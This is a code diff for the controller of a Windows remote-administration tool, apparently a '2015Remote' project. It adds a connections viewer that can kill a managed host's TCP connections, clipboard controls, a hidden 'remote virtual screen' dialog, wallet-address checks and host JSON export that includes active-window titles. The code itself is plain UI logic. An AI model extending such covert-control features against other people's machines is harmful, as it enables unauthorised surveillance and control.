BEGIN_MESSAGE_MAP(CFileSpeedDlg, CDialog)
ON_WM_HSCROLL()
END_MESSAGE_MAP()
+12
View File
@@ -551,6 +551,18 @@ void CIconButton::DrawIconLetterZ(CDC* pDC, const CRect& rc)
DrawLetterIcon(pDC, rc, _T("Z")); DrawLetterIcon(pDC, rc, _T("Z"));
} }
// Letter C icon (获取剪贴板)
void CIconButton::DrawIconLetterC(CDC* pDC, const CRect& rc)
{
DrawLetterIcon(pDC, rc, _T("C"));
}
// Letter P icon (设置剪贴板)
void CIconButton::DrawIconLetterP(CDC* pDC, const CRect& rc)
{
DrawLetterIcon(pDC, rc, _T("P"));
}
// Audio On: speaker with sound waves // Audio On: speaker with sound waves
void CIconButton::DrawIconAudioOn(CDC* pDC, const CRect& rc) void CIconButton::DrawIconAudioOn(CDC* pDC, const CRect& rc)
{ {
+2
View File
@@ -46,6 +46,8 @@ public:
static void DrawIconLetterX(CDC* pDC, const CRect& rc); // 字母 X 图标 static void DrawIconLetterX(CDC* pDC, const CRect& rc); // 字母 X 图标
static void DrawIconLetterY(CDC* pDC, const CRect& rc); // 字母 Y 图标 static void DrawIconLetterY(CDC* pDC, const CRect& rc); // 字母 Y 图标
static void DrawIconLetterZ(CDC* pDC, const CRect& rc); // 字母 Z 图标 static void DrawIconLetterZ(CDC* pDC, const CRect& rc); // 字母 Z 图标
static void DrawIconLetterC(CDC* pDC, const CRect& rc); // 字母 C 图标 (获取剪贴板)
static void DrawIconLetterP(CDC* pDC, const CRect& rc); // 字母 P 图标 (设置剪贴板)
static void DrawIconAudioOn(CDC* pDC, const CRect& rc); // 音频开启图标 (喇叭+声波) static void DrawIconAudioOn(CDC* pDC, const CRect& rc); // 音频开启图标 (喇叭+声波)
static void DrawIconAudioOff(CDC* pDC, const CRect& rc); // 音频关闭图标 (喇叭+斜线) static void DrawIconAudioOff(CDC* pDC, const CRect& rc); // 音频关闭图标 (喇叭+斜线)
+121
View File
@@ -0,0 +1,121 @@
// CPreviewLevelsDlg.h
// 屏幕预览质量等级配置对话框:编辑 6 档 PreviewProfile(编码宽度 / JPEG 质量)。
// 纯主控端 UI 偏好,持久化由 CMy2015RemoteDlg::SavePreviewProfilesToCfg() 负责。
// 仅在 2015RemoteDlg.cpp 中 include 一次(头文件内联实现,勿多处包含)。
#pragma once
#include "LangManager.h"
class CPreviewLevelsDlg : public CDialog
{
public:
enum { IDD = IDD_PREVIEW_LEVELS };
// profiles: 指向 6 元素 PreviewProfile 数组,确认后写回
CPreviewLevelsDlg(PreviewProfile* profiles, CWnd* pParent = NULL)
: CDialog(CPreviewLevelsDlg::IDD, pParent), m_profiles(profiles)
{
}
protected:
PreviewProfile* m_profiles;
PreviewProfile m_working[QUALITY_COUNT];
static const char* LevelName(int i)
{
static const char* names[QUALITY_COUNT] = {
"Ultra", "High", "Good", "Medium", "Low", "Minimal"
};
return (i >= 0 && i < QUALITY_COUNT) ? names[i] : "?";
}
void LoadToControls()
{
CString s;
for (int i = 0; i < QUALITY_COUNT; i++) {
s.Format(_T("%d"), m_working[i].maxWidth);
SetDlgItemText(IDC_PLEVEL_WIDTH + i, s);
s.Format(_T("%d"), m_working[i].jpegQuality);
SetDlgItemText(IDC_PLEVEL_QUALITY + i, s);
}
}
bool ReadInt(int id, int& out)
{
CString s;
GetDlgItemText(id, s);
s.Trim();
if (s.IsEmpty()) return false;
int v = 0;
for (int k = 0; k < s.GetLength(); k++) {
TCHAR ch = s[k];
if (ch < _T('0') || ch > _T('9')) return false;
v = v * 10 + (ch - _T('0'));
}
out = v;
return true;
}
bool ReadFromControls(CString& err)
{
for (int i = 0; i < QUALITY_COUNT; i++) {
int w, q;
if (!ReadInt(IDC_PLEVEL_WIDTH + i, w))
{ err.Format(_T("等级 %s 的最大宽度不是有效数字"), LevelName(i)); return false; }
if (!ReadInt(IDC_PLEVEL_QUALITY + i, q))
{ err.Format(_T("等级 %s 的 JPEG 质量不是有效数字"), LevelName(i)); return false; }
if (w < 64 || w > 2560)
{ err.Format(_T("等级 %s 的最大宽度需在 64~2560 之间"), LevelName(i)); return false; }
if (q < 1 || q > 100)
{ err.Format(_T("等级 %s 的 JPEG 质量需在 1~100 之间"), LevelName(i)); return false; }
m_working[i].maxWidth = w;
m_working[i].jpegQuality = q;
}
return true;
}
void ResetToDefaults()
{
for (int i = 0; i < QUALITY_COUNT; i++) {
m_working[i] = GetScreenPreviewProfile(i);
}
LoadToControls();
}
virtual BOOL OnInitDialog() override
{
CDialog::OnInitDialog();
for (int i = 0; i < QUALITY_COUNT; i++) {
m_working[i] = m_profiles[i];
}
LoadToControls();
TranslateDialog(this);
return TRUE;
}
virtual void OnOK() override
{
CString err;
if (!ReadFromControls(err)) {
MessageBox(err, _TR("提示"), MB_ICONWARNING);
return;
}
for (int i = 0; i < QUALITY_COUNT; i++) {
m_profiles[i] = m_working[i];
}
CDialog::OnOK();
}
virtual BOOL OnCommand(WPARAM wParam, LPARAM lParam) override
{
if (LOWORD(wParam) == IDC_PLEVEL_RESET && HIWORD(wParam) == BN_CLICKED) {
ResetToDefaults();
return TRUE;
}
return CDialog::OnCommand(wParam, lParam);
}
};
+1 -1
View File
@@ -107,7 +107,7 @@ void CWalletDlg::OnOK()
if (a[i].IsEmpty()) continue; if (a[i].IsEmpty()) continue;
if (WALLET_UNKNOWN == detectWalletType(a[i].GetString())) { if (WALLET_UNKNOWN == detectWalletType(a[i].GetString())) {
char tip[100]; char tip[100];
sprintf(tip, "第 %d 个钱包地址不合法!", i + 1); sprintf(tip, _TRF("第 %d 个钱包地址不合法!"), i + 1);
MessageBoxL(CString(tip), "提示", MB_ICONINFORMATION); MessageBoxL(CString(tip), "提示", MB_ICONINFORMATION);
return; return;
} }
+305
View File
@@ -0,0 +1,305 @@
// ConnectionsDlg.cpp : 实现文件
//
#include "stdafx.h"
#include "2015Remote.h"
#include "ConnectionsDlg.h"
#include "afxdialogex.h"
#include <ws2tcpip.h>
#include <utility>
// CConnectionsDlg 对话框
IMPLEMENT_DYNAMIC(CConnectionsDlg, CDialog)
// 连接记录排序辅助:保存完整 ConnectionInfo(供右键强断)与各列排序键。
// 数字列零填充、地址列转定宽十六进制,保证字符串比较即得正确数值顺序。
typedef struct ConnItemData {
ConnectionInfo info;
CString key[8];
CString GetKey(int index) const { return key[index]; }
} ConnItemData;
CConnectionsDlg::CConnectionsDlg(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT *ContextObject)
: DialogBase(CConnectionsDlg::IDD, pParent, IOCPServer, ContextObject, IDI_CONNECTION)
, m_nRClickItem(-1)
, m_nSortColumn(-1)
, m_bSortAscending(true)
{
}
CConnectionsDlg::~CConnectionsDlg()
{
}
void CConnectionsDlg::DoDataExchange(CDataExchange* pDX)
{
__super::DoDataExchange(pDX);
DDX_Control(pDX, IDC_LIST, m_ControlList);
DDX_Control(pDX, IDC_STATIC_COUNT, m_Count);
}
BEGIN_MESSAGE_MAP(CConnectionsDlg, CDialog)
ON_WM_CLOSE()
ON_WM_SIZE()
ON_COMMAND(ID_CONNECTION_KILL, &CConnectionsDlg::OnConnectionKill)
ON_COMMAND(ID_CONNECTION_REFRESH, &CConnectionsDlg::OnConnectionRefresh)
ON_NOTIFY(NM_RCLICK, IDC_LIST, &CConnectionsDlg::OnNMRClickList)
ON_NOTIFY(HDN_ITEMCLICK, 0, &CConnectionsDlg::OnHdnItemclickList)
END_MESSAGE_MAP()
// CConnectionsDlg 消息处理程序
static CString FormatAddr(BYTE af, const uint8_t* addr)
{
char buf[INET6_ADDRSTRLEN] = { 0 };
if (af == AF_INET) {
inet_ntop(AF_INET, addr, buf, INET_ADDRSTRLEN);
} else {
inet_ntop(AF_INET6, addr, buf, INET6_ADDRSTRLEN);
}
return CA2T(buf);
}
static CString TcpStateName(DWORD state)
{
switch (state) {
case 1: return _T("CLOSED");
case 2: return _T("LISTEN");
case 3: return _T("SYN_SENT");
case 4: return _T("SYN_RCVD");
case 5: return _T("ESTABLISHED");
case 6: return _T("FIN_WAIT1");
case 7: return _T("FIN_WAIT2");
case 8: return _T("CLOSE_WAIT");
case 9: return _T("CLOSING");
case 10: return _T("LAST_ACK");
case 11: return _T("TIME_WAIT");
case 12: return _T("DELETE_TCB");
default: return _T("-");
}
}
// 地址排序键:IPv4/IPv6 统一转成 16 字节定宽十六进制(前缀 4/6 区分协议族),
// 使字符串比较等价于按地址数值排序。
static CString AddrSortKey(uint8_t af, const uint8_t* addr)
{
CString key;
key.Format(_T("%d:"), (af == AF_INET) ? 4 : 6);
for (int i = 0; i < 16; ++i)
key.AppendFormat(_T("%02X"), addr[i]);
return key;
}
BOOL CConnectionsDlg::OnInitDialog()
{
__super::OnInitDialog();
SetIcon(m_hIcon, TRUE);
SetIcon(m_hIcon, FALSE);
CString strString;
strString.FormatL("%s - 连接管理", m_IPAddress);
SetWindowText(strString);
m_ControlList.SetExtendedStyle(LVS_EX_FULLROWSELECT);
m_ControlList.InsertColumnL(0, "协议", LVCFMT_LEFT, 50);
m_ControlList.InsertColumnL(1, "本地地址", LVCFMT_LEFT, 120);
m_ControlList.InsertColumnL(2, "本地端口", LVCFMT_LEFT, 70);
m_ControlList.InsertColumnL(3, "远端地址", LVCFMT_LEFT, 120);
m_ControlList.InsertColumnL(4, "远端端口", LVCFMT_LEFT, 70);
m_ControlList.InsertColumnL(5, "状态", LVCFMT_LEFT, 100);
m_ControlList.InsertColumnL(6, "PID", LVCFMT_LEFT, 60);
m_ControlList.InsertColumnL(7, "进程名", LVCFMT_LEFT, 180);
ShowConnectionList();
return TRUE;
}
int CConnectionsDlg::ShowConnectionList(void)
{
Buffer tmp = m_ContextObject->InDeCompressedBuffer.GetMyBuffer(0);
int len = tmp.GetBufferLength();
DeleteAllItems();
if (len < 3) {
CString strEmpty;
strEmpty.FormatL("连接数:%d", 0);
m_Count.SetWindowText(strEmpty);
return 0;
}
const BYTE* p = tmp.GetBuffer(0);
uint16_t count = 0;
memcpy(&count, p + 1, 2);
int avail = (len - 3) / (int)sizeof(ConnectionInfo);
if ((int)count > avail) count = (uint16_t)avail;
for (int i = 0; i < (int)count; ++i) {
const ConnectionInfo* info = (const ConnectionInfo*)(p + 3 + i * sizeof(ConnectionInfo));
CString strProto = (info->proto == 1) ? _T("TCP") : _T("UDP");
CString strLocalAddr = FormatAddr(info->af, info->localAddr);
CString strRemoteAddr = FormatAddr(info->af, info->remoteAddr);
CString strState = (info->proto == 1) ? TcpStateName(info->state) : _T("-");
CString strLocalPort, strRemotePort, strPid, strProcName;
strLocalPort.Format(_T("%u"), info->localPort);
strRemotePort.Format(_T("%u"), info->remotePort);
strPid.Format(_T("%u"), info->pid);
strProcName = CA2T(info->procName, CP_UTF8);
auto* data = new ConnItemData;
data->info = *info;
data->key[0] = strProto;
data->key[1] = AddrSortKey(info->af, info->localAddr);
data->key[2].Format(_T("%05u"), info->localPort);
data->key[3] = AddrSortKey(info->af, info->remoteAddr);
data->key[4].Format(_T("%05u"), info->remotePort);
data->key[5].Format(_T("%03u"), info->state);
data->key[6].Format(_T("%010u"), info->pid);
data->key[7] = strProcName;
m_ControlList.InsertItem(i, strProto);
m_ControlList.SetItemText(i, 1, strLocalAddr);
m_ControlList.SetItemText(i, 2, strLocalPort);
m_ControlList.SetItemText(i, 3, strRemoteAddr);
m_ControlList.SetItemText(i, 4, strRemotePort);
m_ControlList.SetItemText(i, 5, strState);
m_ControlList.SetItemText(i, 6, strPid);
m_ControlList.SetItemText(i, 7, strProcName);
m_ControlList.SetItemData(i, (DWORD_PTR)data);
}
CString strCount;
strCount.FormatL("连接数:%d", (int)count);
m_Count.SetWindowText(strCount);
return 0;
}
void CConnectionsDlg::OnClose()
{
CancelIO();
if (IsProcessing()) {
ShowWindow(SW_HIDE);
return;
}
DeleteAllItems();
DialogBase::OnClose();
}
void CConnectionsDlg::DeleteAllItems()
{
for (int i = 0; i < m_ControlList.GetItemCount(); i++) {
auto data = (ConnItemData*)m_ControlList.GetItemData(i);
if (data) delete data;
}
m_ControlList.DeleteAllItems();
}
void CConnectionsDlg::OnNMRClickList(NMHDR *pNMHDR, LRESULT *pResult)
{
LPNMITEMACTIVATE pAct = reinterpret_cast<LPNMITEMACTIVATE>(pNMHDR);
m_nRClickItem = pAct->iItem;
bool canKill = false;
if (m_nRClickItem >= 0) {
auto* data = (ConnItemData*)m_ControlList.GetItemData(m_nRClickItem);
canKill = (data && data->info.proto == 1 && data->info.af == AF_INET);
}
CMenu Menu;
Menu.LoadMenu(IDR_MENU_CONNECTIONS);
TranslateMenu(&Menu);
CMenu* SubMenu = Menu.GetSubMenu(0);
if (SubMenu && !canKill) {
SubMenu->EnableMenuItem(ID_CONNECTION_KILL, MF_BYCOMMAND | MF_GRAYED);
}
CPoint Point;
GetCursorPos(&Point);
SubMenu->TrackPopupMenu(TPM_LEFTALIGN | TPM_LEFTBUTTON, Point.x, Point.y, this);
*pResult = 0;
}
void CConnectionsDlg::OnConnectionKill()
{
if (m_nRClickItem < 0) return;
auto* data = (ConnItemData*)m_ControlList.GetItemData(m_nRClickItem);
if (!data || data->info.proto != 1 || data->info.af != AF_INET) return;
LPBYTE szBuffer = (LPBYTE)LocalAlloc(LPTR, 1 + sizeof(ConnectionInfo));
if (szBuffer == NULL) return;
szBuffer[0] = COMMAND_KILL_CONNECTION;
memcpy(szBuffer + 1, &data->info, sizeof(ConnectionInfo));
m_ContextObject->Send2Client(szBuffer, LocalSize(szBuffer));
LocalFree(szBuffer);
}
void CConnectionsDlg::OnConnectionRefresh()
{
BYTE bToken = COMMAND_CONNECTION;
m_ContextObject->Send2Client(&bToken, 1);
}
void CConnectionsDlg::OnReceiveComplete(void)
{
switch (m_ContextObject->InDeCompressedBuffer.GetBYTE(0)) {
case TOKEN_CONNECTION_LIST:
ShowConnectionList();
break;
default:
break;
}
}
void CConnectionsDlg::OnSize(UINT nType, int cx, int cy)
{
__super::OnSize(nType, cx, cy);
if (!m_ControlList.GetSafeHwnd()) return;
CRect rc;
m_ControlList.GetWindowRect(&rc);
ScreenToClient(&rc);
m_ControlList.MoveWindow(0, 0, cx, cy, TRUE);
}
int CALLBACK CConnectionsDlg::CompareFunction(LPARAM lParam1, LPARAM lParam2, LPARAM lParamSort)
{
auto* pSortInfo = reinterpret_cast<std::pair<int, bool>*>(lParamSort);
int nColumn = pSortInfo->first;
bool bAscending = pSortInfo->second;
auto* context1 = (ConnItemData*)lParam1;
auto* context2 = (ConnItemData*)lParam2;
CString s1 = context1->GetKey(nColumn);
CString s2 = context2->GetKey(nColumn);
int result = s1.Compare(s2);
return bAscending ? result : -result;
}
void CConnectionsDlg::SortByColumn(int nColumn)
{
if (nColumn == m_nSortColumn) {
m_bSortAscending = !m_bSortAscending;
} else {
m_nSortColumn = nColumn;
m_bSortAscending = true;
}
std::pair<int, bool> sortInfo(m_nSortColumn, m_bSortAscending);
m_ControlList.SortItems(CompareFunction, reinterpret_cast<LPARAM>(&sortInfo));
}
void CConnectionsDlg::OnHdnItemclickList(NMHDR* pNMHDR, LRESULT* pResult)
{
LPNMHEADER pNMHeader = reinterpret_cast<LPNMHEADER>(pNMHDR);
SortByColumn(pNMHeader->iItem);
*pResult = 0;
}
+43
View File
@@ -0,0 +1,43 @@
#pragma once
#include "afxcmn.h"
#include "IOCPServer.h"
#include "afxwin.h"
// CConnectionsDlg 对话框:展示受管主机当前 TCP/UDP 连接,右键可强制断开 IPv4 TCP 连接。
class CConnectionsDlg : public DialogBase
{
DECLARE_DYNAMIC(CConnectionsDlg)
public:
CConnectionsDlg(CWnd* pParent = NULL, Server* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL);
virtual ~CConnectionsDlg();
int ShowConnectionList(void);
void OnReceiveComplete(void);
enum { IDD = IDD_DIALOG_CONNECTIONS };
protected:
virtual void DoDataExchange(CDataExchange* pDX);
DECLARE_MESSAGE_MAP()
public:
CListCtrl m_ControlList;
virtual BOOL OnInitDialog();
void DeleteAllItems();
void SortByColumn(int nColumn);
afx_msg void OnClose();
afx_msg void OnNMRClickList(NMHDR *pNMHDR, LRESULT *pResult);
afx_msg void OnConnectionKill();
afx_msg void OnConnectionRefresh();
afx_msg void OnSize(UINT nType, int cx, int cy);
afx_msg void OnHdnItemclickList(NMHDR *pNMHDR, LRESULT *pResult);
static int CALLBACK CompareFunction(LPARAM lParam1, LPARAM lParam2, LPARAM lParamSort);
CStatic m_Count;
int m_nRClickItem;
int m_nSortColumn;
bool m_bSortAscending;
};
+3 -1
View File
@@ -88,7 +88,9 @@ typedef struct FeatureFlags {
#define MF_MASTER_TRAIL (1ULL << 41) // HIDE_MENU_MASTER_TRAIL #define MF_MASTER_TRAIL (1ULL << 41) // HIDE_MENU_MASTER_TRAIL
#define MF_REQUEST_AUTH (1ULL << 42) // HIDE_MENU_REQUEST_AUTH #define MF_REQUEST_AUTH (1ULL << 42) // HIDE_MENU_REQUEST_AUTH
// [43-63] Reserved #define MF_MCP_SETTINGS (1ULL << 43) // HIDE_MENU_MCP_SETTINGS
// [44-63] Reserved
// ============================================================ // ============================================================
+38 -16
View File
@@ -6,6 +6,7 @@
#include "InputDlg.h" #include "InputDlg.h"
#include "CTextDlg.h" #include "CTextDlg.h"
#include "HideScreenSpyDlg.h" #include "HideScreenSpyDlg.h"
#include "2015RemoteDlg.h"
#include <windows.h> #include <windows.h>
#ifdef _DEBUG #ifdef _DEBUG
@@ -43,6 +44,8 @@ IMPLEMENT_DYNAMIC(CHideScreenSpyDlg, CDialog)
bool DirectoryExists(const char* path); bool DirectoryExists(const char* path);
std::string GetScreenShotPath(CWnd* parent, const CString& ip, const CString& filter, const CString& suffix); std::string GetScreenShotPath(CWnd* parent, const CString& ip, const CString& filter, const CString& suffix);
extern CMy2015RemoteDlg* g_2015RemoteDlg;
CHideScreenSpyDlg::CHideScreenSpyDlg(CWnd* pParent, Server* pIOCPServer, ClientContext* pContext) CHideScreenSpyDlg::CHideScreenSpyDlg(CWnd* pParent, Server* pIOCPServer, ClientContext* pContext)
: DialogBase(CHideScreenSpyDlg::IDD, pParent, pIOCPServer, pContext, IDI_SCREENSYP) : DialogBase(CHideScreenSpyDlg::IDD, pParent, pIOCPServer, pContext, IDI_SCREENSYP)
{ {
@@ -90,11 +93,33 @@ BEGIN_MESSAGE_MAP(CHideScreenSpyDlg, CDialog)
ON_WM_PAINT() ON_WM_PAINT()
ON_WM_TIMER() ON_WM_TIMER()
ON_WM_CLOSE() ON_WM_CLOSE()
ON_WM_SETCURSOR()
END_MESSAGE_MAP() END_MESSAGE_MAP()
///////////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////////////
// CHideScreenSpyDlg message handlers // CHideScreenSpyDlg message handlers
BOOL CHideScreenSpyDlg::OnSetCursor(CWnd* pWnd, UINT nHitTest, UINT message)
{
// 查看模式(未开启远程控制):客户区显示禁止图标;标题栏及系统按钮保持正常箭头,
// 便于拖动窗口或通过标题栏右键菜单开启远程控制。
// 这里按窗口自身状态判断,避免用窗口类光标(GCLP_HCURSOR)时被同类的其他对话框实例
// 共享串扰——第二个对话框切到查看模式后,第一个控制中的对话框也被误显示成禁止图标。
if (!m_bIsCtrl && nHitTest == HTCLIENT) {
::SetCursor(LoadCursor(NULL, IDC_NO));
return TRUE;
}
if (!m_bIsCtrl &&
(nHitTest == HTCAPTION || nHitTest == HTSYSMENU || nHitTest == HTMENU ||
nHitTest == HTCLOSE || nHitTest == HTMINBUTTON || nHitTest == HTMAXBUTTON ||
nHitTest == HTHELP)) {
::SetCursor(LoadCursor(NULL, IDC_ARROW));
return TRUE;
}
// 控制模式:交父类处理,显示窗口类光标(远程光标形状)
return __super::OnSetCursor(pWnd, nHitTest, message);
}
void CHideScreenSpyDlg::OnClose() void CHideScreenSpyDlg::OnClose()
{ {
if (!m_aviFile.IsEmpty()) { if (!m_aviFile.IsEmpty()) {
@@ -153,11 +178,22 @@ bool CHideScreenSpyDlg::SaveSnapshot()
return true; return true;
} }
CString CHideScreenSpyDlg::GetTitleHostName() const
{
// 标题栏显示的主机名:有备注用备注,否则用 IP
if (g_2015RemoteDlg && g_2015RemoteDlg->m_ClientMap) {
CString note = g_2015RemoteDlg->m_ClientMap->GetClientMapData(GetClientID(), MAP_NOTE);
if (!note.IsEmpty())
return note;
}
return m_IPAddress;
}
BOOL CHideScreenSpyDlg::OnInitDialog() BOOL CHideScreenSpyDlg::OnInitDialog()
{ {
__super::OnInitDialog(); __super::OnInitDialog();
CString strString; CString strString;
strString.FormatL("%s - 远程虚拟屏幕 %d×%d", m_IPAddress, strString.FormatL("%s - 远程虚拟屏幕 %d×%d", GetTitleHostName().GetString(),
m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight); m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight);
SetWindowText(strString); SetWindowText(strString);
@@ -165,7 +201,6 @@ BOOL CHideScreenSpyDlg::OnInitDialog()
// when the application's main window is not a dialog // when the application's main window is not a dialog
SetIcon(m_hIcon, TRUE); // Set big icon SetIcon(m_hIcon, TRUE); // Set big icon
SetIcon(m_hIcon, FALSE); // Set small icon SetIcon(m_hIcon, FALSE); // Set small icon
SetClassLongPtr(m_hWnd, GCLP_HCURSOR, (LONG_PTR)LoadCursor(NULL, IDC_NO));
CMenu* pSysMenu = GetSystemMenu(FALSE); CMenu* pSysMenu = GetSystemMenu(FALSE);
if (pSysMenu != NULL) { if (pSysMenu != NULL) {
pSysMenu->AppendMenuSeparator(MF_SEPARATOR); pSysMenu->AppendMenuSeparator(MF_SEPARATOR);
@@ -214,15 +249,7 @@ BOOL CHideScreenSpyDlg::OnInitDialog()
} }
// TODO: Add extra initialization here // TODO: Add extra initialization here
m_hRemoteCursor = LoadCursor(NULL, IDC_ARROW);
ICONINFO CursorInfo;
::GetIconInfo(m_hRemoteCursor, &CursorInfo);
pSysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED); pSysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED);
SetClassLongPtr(m_hWnd, GCLP_HCURSOR, (LONG_PTR)m_hRemoteCursor);
if (CursorInfo.hbmMask != NULL)
::DeleteObject(CursorInfo.hbmMask);
if (CursorInfo.hbmColor != NULL)
::DeleteObject(CursorInfo.hbmColor);
// 初始化窗口大小结构 // 初始化窗口大小结构
m_hFullDC = ::GetDC(m_hWnd); m_hFullDC = ::GetDC(m_hWnd);
m_hFullMemDC = CreateCompatibleDC(m_hFullDC); m_hFullMemDC = CreateCompatibleDC(m_hFullDC);
@@ -241,7 +268,7 @@ BOOL CHideScreenSpyDlg::OnInitDialog()
#ifdef _DEBUG #ifdef _DEBUG
// ShowWindow(SW_MINIMIZE); // ShowWindow(SW_MINIMIZE);
#endif #endif
m_strTip = CString("请等待......"); m_strTip = _TR("请等待......");
return TRUE; // return TRUE unless you set the focus to a control return TRUE; // return TRUE unless you set the focus to a control
// EXCEPTION: OCX Property Pages should return FALSE // EXCEPTION: OCX Property Pages should return FALSE
} }
@@ -440,11 +467,6 @@ void CHideScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
case IDM_CONTROL: { case IDM_CONTROL: {
m_bIsCtrl = !m_bIsCtrl; m_bIsCtrl = !m_bIsCtrl;
pSysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED); pSysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED);
if (m_bIsCtrl) {
SetClassLongPtr(m_hWnd, GCLP_HCURSOR, (LONG_PTR)m_hRemoteCursor);
} else
SetClassLongPtr(m_hWnd, GCLP_HCURSOR, (LONG_PTR)LoadCursor(NULL, IDC_NO));
} }
break; break;
+4 -1
View File
@@ -59,6 +59,7 @@ public:
afx_msg void OnPaint(); afx_msg void OnPaint();
afx_msg void OnSysCommand(UINT nID, LPARAM lParam); afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
afx_msg void OnSize(UINT nType, int cx, int cy); afx_msg void OnSize(UINT nType, int cx, int cy);
afx_msg BOOL OnSetCursor(CWnd* pWnd, UINT nHitTest, UINT message);
virtual LRESULT WindowProc(UINT message, WPARAM wParam, LPARAM lParam); virtual LRESULT WindowProc(UINT message, WPARAM wParam, LPARAM lParam);
@@ -71,11 +72,13 @@ protected:
bool JPG_BMP(int cbit, void* input, int inlen, void* output); bool JPG_BMP(int cbit, void* input, int inlen, void* output);
void ResetScreen(); void ResetScreen();
// 标题栏显示的主机名:有备注用备注,否则用 IP
CString GetTitleHostName() const;
HDC m_hFullDC, m_hFullMemDC; HDC m_hFullDC, m_hFullMemDC;
HBITMAP m_BitmapHandle; HBITMAP m_BitmapHandle;
LPVOID m_BitmapData_Full; LPVOID m_BitmapData_Full;
LPBITMAPINFO m_BitmapInfor_Full; LPBITMAPINFO m_BitmapInfor_Full;
HCURSOR m_hRemoteCursor;
CCursorInfo m_CursorInfo; CCursorInfo m_CursorInfo;
BOOL m_bIsFirst; BOOL m_bIsFirst;
BOOL m_bIsCtrl; BOOL m_bIsCtrl;
+117
View File
@@ -0,0 +1,117 @@
#include "stdafx.h"
#include "HostJson.h"
#include "HostInfo.h" // _ClientList / MAP_NOTE
#include "context.h" // context 接口 + ONLINELIST_* 枚举
#include "2015RemoteDlg.h" // GetClientEncoding 辅助函数(UTF-8 能力位判断)
#ifndef _WIN64
#ifdef _DEBUG
#pragma comment(lib, "jsoncpp/jsoncppd.lib")
#else
#pragma comment(lib, "jsoncpp/jsoncpp.lib")
#endif
#else
#ifdef _DEBUG
#pragma comment(lib, "jsoncpp/jsoncpp_x64d.lib")
#else
#pragma comment(lib, "jsoncpp/jsoncpp_x64.lib")
#endif
#endif
// Helper: Convert ANSI (GBK) string to UTF-8
// (自 WebService.cpp 抽出,供 BuildDeviceListJson 与 BuildHostJson 共用)
static std::string AnsiToUtf8(const CString& str) {
if (str.IsEmpty()) return "";
#ifdef _UNICODE
// Unicode build: CString is already UTF-16, convert to UTF-8
int len = WideCharToMultiByte(CP_UTF8, 0, str, -1, NULL, 0, NULL, NULL);
if (len <= 0) return "";
std::string result(len - 1, '\0');
WideCharToMultiByte(CP_UTF8, 0, str, -1, &result[0], len, NULL, NULL);
return result;
#else
// MBCS build: CString is ANSI (GBK), need to convert to UTF-16 first, then to UTF-8
int wlen = MultiByteToWideChar(CP_ACP, 0, str, -1, NULL, 0);
if (wlen <= 0) return "";
std::wstring wstr(wlen - 1, L'\0');
MultiByteToWideChar(CP_ACP, 0, str, -1, &wstr[0], wlen);
int u8len = WideCharToMultiByte(CP_UTF8, 0, wstr.c_str(), -1, NULL, 0, NULL, NULL);
if (u8len <= 0) return "";
std::string result(u8len - 1, '\0');
WideCharToMultiByte(CP_UTF8, 0, wstr.c_str(), -1, &result[0], u8len, NULL, NULL);
return result;
#endif
}
Json::Value BuildHostJson(context* ctx, _ClientList* clientMap) {
Json::Value device;
if (!ctx) return device; // 空 context → 返回 null Json::Value
// Use string for ID to avoid JavaScript number precision loss
device["id"] = std::to_string(ctx->GetClientID());
CString name = ctx->GetClientData(ONLINELIST_COMPUTER_NAME);
device["name"] = AnsiToUtf8(name);
// 用户在 MFC 端给这台主机起的备注(菜单"修改备注"写入 MAP_NOTE)
if (clientMap) {
CString remark = clientMap->GetClientMapData(ctx->GetClientID(), MAP_NOTE);
if (!remark.IsEmpty()) {
device["remark"] = AnsiToUtf8(remark);
}
}
CString ip = ctx->GetClientData(ONLINELIST_IP);
device["ip"] = AnsiToUtf8(ip);
CString os = ctx->GetClientData(ONLINELIST_OS);
device["os"] = AnsiToUtf8(os);
CString location = ctx->GetClientData(ONLINELIST_LOCATION);
device["location"] = AnsiToUtf8(location);
CString rtt = ctx->GetClientData(ONLINELIST_PING);
device["rtt"] = AnsiToUtf8(rtt);
CString version = ctx->GetClientData(ONLINELIST_VERSION);
device["version"] = AnsiToUtf8(version);
// 活动窗口编码由客户端能力位决定:新客户端是 UTF-8,老客户端是 CP_ACP(默认 936)。
// 不能像其它字段那样无脑 AnsiToUtf8——会把新客户端的 UTF-8 字节再当 GBK 双重编码。
CString activeWindow = ctx->GetClientData(ONLINELIST_LOGINTIME);
std::string activeWindowU8;
if (!activeWindow.IsEmpty()) {
UINT cp = GetClientEncoding(ctx);
int wlen = MultiByteToWideChar(cp, 0, activeWindow, -1, NULL, 0);
if (wlen > 1) {
std::wstring w(wlen - 1, L'\0');
MultiByteToWideChar(cp, 0, activeWindow, -1, &w[0], wlen);
int u8len = WideCharToMultiByte(CP_UTF8, 0, w.c_str(), -1, NULL, 0, NULL, NULL);
if (u8len > 1) {
activeWindowU8.resize(u8len - 1);
WideCharToMultiByte(CP_UTF8, 0, w.c_str(), -1, &activeWindowU8[0], u8len, NULL, NULL);
}
}
}
device["activeWindow"] = activeWindowU8;
device["online"] = true;
// Add device group to response
std::string deviceGroup = ctx->GetGroupName();
if (deviceGroup.empty()) deviceGroup = "default";
device["group"] = deviceGroup;
// Get screen info from client's reported resolution
// Format: "n:MxN" where n=monitor count, M=width, N=height
CString resolution = ctx->GetAdditionalData(RES_RESOLUTION);
if (!resolution.IsEmpty()) {
device["screen"] = AnsiToUtf8(resolution); // e.g. "2:3840x1080"
}
CString clientType = ctx->GetAdditionalData(RES_CLIENT_TYPE);
device["clientType"] = AnsiToUtf8(clientType); // e.g. "MAC", "LNX", "EXE"
return device;
}
+15
View File
@@ -0,0 +1,15 @@
#pragma once
#include "jsoncpp/json.h"
class context;
class _ClientList;
// 公共函数:将单台在线主机 context 序列化为 JSON(UTF-8,含 GBK/UTF-8 编码处理)。
